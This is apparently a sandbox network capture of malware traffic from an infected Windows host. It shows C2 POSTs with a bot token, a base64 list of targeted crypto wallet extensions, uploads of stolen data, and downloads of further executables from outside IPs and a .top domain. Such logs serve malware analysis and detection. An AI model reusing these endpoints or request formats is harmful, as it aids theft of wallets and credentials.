Dec 18, 2024 17:08:56.353554010 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEHDBAEGIIIEBGCAAFHI Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 37 35 37 64 30 39 31 66 62 34 66 38 61 31 32 64 32 38 30 35 36 31 32 66 35 63 63 61 30 34 39 32 65 36 31 39 61 65 35 31 30 64 33 63 63 63 33 38 31 34 32 61 66 62 32 30 66 65 36 64 66 64 38 38 61 38 34 65 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 44 42 41 45 47 49 49 49 45 42 47 43 41 41 46 48 49 2d 2d 0d 0a Data Ascii: ------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="token"2757d091fb4f8a12d2805612f5cca0492e619ae510d3ccc38142afb20fe6dfd88a84e181------KEHDBAEGIIIEBGCAAFHIContent-Disposition: form-data; name="message"plugins------KEHDBAEGIIIEBGCAAFHI--
Dec 18, 2024 17:08:56.793936968 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:08:56 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Dec 18, 2024 17:08:56.794083118 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Dec 18, 2024 17:08:56.794600010 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Dec 18, 2024 17:08:56.794611931 CET	672	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Dec 18, 2024 17:08:56.794909954 CET	1236	IN	Data Raw: 64 47 6c 6a 59 58 52 76 63 6e 78 70 62 47 64 6a 62 6d 68 6c 62 48 42 6a 61 47 35 6a 5a 57 56 70 63 47 6c 77 61 57 70 68 62 47 70 72 59 6d 78 69 59 32 39 69 62 48 77 78 66 44 42 38 4d 48 78 43 61 58 52 33 59 58 4a 6b 5a 57 35 38 62 6d 35 6e 59 32 Data Ascii: dGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXwwfDB8S2VlUGFzc1hDfG9ib29uYWtlbW9mcGFsY2dnaG9jZm9hZG9maWRqa2trfDF8MHwwfERhc2hsYW5lfGZkamFtYWtwZmJiZGRmamFvb2lrZmNwYXBqb2h
Dec 18, 2024 17:08:56.794923067 CET	1236	IN	Data Raw: 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 46 71 61 58 42 69 63 47 52 76 5a 33 42 6b 5a 32 78 6f 59 58 42 6f 62 47 52 68 61 32 6c 72 5a 32 56 6d 66 44 Data Ascii: cG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHw
Dec 18, 2024 17:08:56.804902077 CET	492	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 52 75 5a 33 42 73 5a 6d 70 74 62 6d 39 76 63 48 42 69 59 32 78 72 61 33 77 78 66 44 42 38 4d 48 78 50 63 47 56 75 54 57 46 7a 61 79 42 58 59 57 78 73 5a 58 Data Ascii: IFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1
Dec 18, 2024 17:08:56.806976080 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDAKJJDBGCAKKFHIJEGH Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 4a 44 42 47 43 41 4b 4b 46 48 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 37 35 37 64 30 39 31 66 62 34 66 38 61 31 32 64 32 38 30 35 36 31 32 66 35 63 63 61 30 34 39 32 65 36 31 39 61 65 35 31 30 64 33 63 63 63 33 38 31 34 32 61 66 62 32 30 66 65 36 64 66 64 38 38 61 38 34 65 31 38 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 4a 44 42 47 43 41 4b 4b 46 48 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 4a 44 42 47 43 41 4b 4b 46 48 49 4a 45 47 48 2d 2d 0d 0a Data Ascii: ------JDAKJJDBGCAKKFHIJEGHContent-Disposition: form-data; name="token"2757d091fb4f8a12d2805612f5cca0492e619ae510d3ccc38142afb20fe6dfd88a84e181------JDAKJJDBGCAKKFHIJEGHContent-Disposition: form-data; name="message"fplugins------JDAKJJDBGCAKKFHIJEGH--
Dec 18, 2024 17:08:57.251261950 CET	335	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:08:57 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Dec 18, 2024 17:08:57.271033049 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJKJEHJJDAKECBFCGID Host: 185.215.113.206 Content-Length: 7495 Connection: Keep-Alive Cache-Control: no-cache
Dec 18, 2024 17:08:57.271078110 CET	7495	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 4a 45 48 4a 4a 44 41 4b 45 43 42 46 43 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 37 35 37 64 30 Data Ascii: ------BKJKJEHJJDAKECBFCGIDContent-Disposition: form-data; name="token"2757d091fb4f8a12d2805612f5cca0492e619ae510d3ccc38142afb20fe6dfd88a84e181------BKJKJEHJJDAKECBFCGIDContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Dec 18, 2024 17:08:58.297070026 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:08:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 17:08:59.186078072 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 18, 2024 17:08:59.624790907 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 16:08:59 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Dec 18, 2024 17:08:59.624953032 CET	124	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Dec 18, 2024 17:08:59.627441883 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49866	185.215.113.43	80	7564	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:08:56.714982986 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 39 36 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016968001&unit=246122658369
Dec 18, 2024 17:08:58.054085970 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 16:08:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49867	185.215.113.16	80	7564	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:08:58.297593117 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 18, 2024 17:08:59.639564991 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 16:08:58 GMT Content-Type: application/octet-stream Content-Length: 1731584 Last-Modified: Wed, 18 Dec 2024 15:27:30 GMT Connection: keep-alive ETag: "6762e9e2-1a6c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 45 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 45 00 00 04 00 00 cc 43 1b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@E `@ EC`Ui`D @ @.rsrcD`2@.idata 6@ `*8@ovwuuiwl +:@aeypuusq EF@.taggant@@E"J@
Dec 18, 2024 17:08:59.639857054 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:08:59.639872074 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:08:59.640655994 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:08:59.640669107 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:08:59.641479015 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:08:59.641490936 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 17:08:59.642271996 CET	1236	IN	Data Raw: 1f c7 12 82 f7 6a 13 c5 80 1b 11 4d 70 45 ce b2 1c ae f9 a2 dd 30 c5 e2 ac d5 27 cc 46 50 57 d5 d8 43 bd 26 41 72 98 62 28 9a 2f b5 51 0c 63 c2 8d d4 33 b3 c9 c1 66 cf 7f 32 10 c9 8f dc aa d0 91 c9 03 83 f7 de 1f 6b db 25 32 f5 6d 2b 10 52 b9 e2 Data Ascii: jMpE0'FPWC&Arb(/Qc3f2k%2m+RjH)dG`xh6bm%nC-'I-vg>&?0UM]q$v's*q.Pj.+}k)!wfB<qdlUN
Dec 18, 2024 17:08:59.642282963 CET	1236	IN	Data Raw: 0b c6 09 95 33 c6 0d a1 1c fb b2 b4 76 23 07 3c bd 3b 03 89 ef 30 25 ac ad 5e 2d 85 93 03 1d 82 bd 3b dd a2 1f 63 c1 87 24 f0 9f 0c 93 c6 c9 82 bd 67 09 7d ef 1f f9 b6 e1 aa e4 48 bb 23 e5 ab ed 22 bd 28 76 47 16 1b 93 43 35 82 fd d2 9d 5c 05 8b Data Ascii: 3v#<;0%^-;c$g}H#"(vGC5\` B8+=8$1MlmdQ^;AVcE[F>=wqM2Gu/}IN+Bv;m.87.{BG/Co6v;'01Bg;Hj1k0/
Dec 18, 2024 17:08:59.643027067 CET	1236	IN	Data Raw: d4 29 02 84 e9 0b 09 d0 d0 7e 59 82 88 ff 19 36 82 f0 0b 7d c3 d6 2d e4 78 6d d8 63 e2 eb ff e6 da 3e d7 71 81 4a 2b c6 0e 6c 7e d7 9d d1 de eb ce c3 fd 92 73 60 9a 60 8d f3 e7 60 de 10 f9 2f 05 d6 f5 b3 8f 6c cd 99 84 99 be 81 fb b6 23 51 40 fd Data Ascii: )~Y6}-xmc>qJ+l~s```/l#Q@"k'vM;W<nw/l1{p!}9o}<)/[d4=y_*O@t?l#s^)`S[eof78J
Dec 18, 2024 17:08:59.761754990 CET	1236	IN	Data Raw: 7c 1e 72 f8 a6 2f 68 a9 a1 ab 6f c6 5a cf 2b a2 71 d6 17 42 71 2f c9 dc 6e 39 75 64 74 de 74 b1 71 df cf 9e be d2 bb 17 f0 ea 65 4b d2 80 07 3c bc 85 e2 85 d4 61 31 cd bd f1 1b 96 db 12 f5 9e 6b 64 f3 87 e1 10 ca f3 3e 26 14 12 2d 7c f8 47 dd eb Data Ascii: \|r/hoZ+qBq/n9udttqeK<a1kd>&-\|GloZny>?%89#v9p:1'/U='<>(8w=ul#gl2w1xH"=!w;\|?h1 @=~r}@'$1`UF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49896	185.185.71.170	80	7960	C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 17:09:04.684935093 CET	646	OUT	POST /v1/upload.php HTTP/1.1 Host: twentytk20pn.top Accept: / Content-Length: 464 Content-Type: multipart/form-data; boundary=------------------------F9jE3jgXlsDgbMrDVqQwxV Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 46 39 6a 45 33 6a 67 58 6c 73 44 67 62 4d 72 44 56 71 51 77 78 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4c 6f 71 61 78 6f 6d 6f 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a cd 79 8a 52 b2 ab ef 61 ed bb 30 55 36 ae 78 60 cb 44 46 f8 bf 99 d7 e4 b7 14 68 2f 40 e2 7d e1 8e b6 64 56 30 a3 14 02 07 f7 2f b0 94 9d 41 d7 d3 48 7c c9 50 90 34 e6 50 17 42 2c 9f 31 d0 29 77 24 87 de 75 42 1f 48 01 14 0e 5f d6 16 02 f8 d1 d4 61 49 8e 5f 85 be b9 f6 5e 83 7b 6f 14 dd 6f 42 4a d7 66 a0 87 ff e0 23 90 a6 f6 1f d8 b6 f3 0f 95 56 b7 c1 a0 2a f5 1f 66 d2 9c 90 e3 f2 c3 c1 26 3a a7 1b 9c e2 c0 54 7c c5 c6 14 e2 56 27 88 3f cd f0 53 88 22 51 86 c8 28 68 b4 4e 5c e1 15 5e ff 48 ab 91 1c 03 b7 0c 03 92 50 67 18 [TRUNCATED] Data Ascii: --------------------------F9jE3jgXlsDgbMrDVqQwxVContent-Disposition: form-data; name="file"; filename="Loqaxomo.bin"Content-Type: application/octet-streamyRa0U6x`DFh/@}dV0/AH\|P4PB,1)w$uBH_aI_^{ooBJf#V*f&:T\|V'?S"Q(hN\^HPgFSPq>2],<fX=WE0ZO`WidW/]_C--------------------------F9jE3jgXlsDgbMrDVqQwxV--
Dec 18, 2024 17:09:06.026801109 CET	255	IN	HTTP/1.1 200 OK server: nginx date: Wed, 18 Dec 2024 16:09:05 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 29 x-ratelimit-reset: 1734539946 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

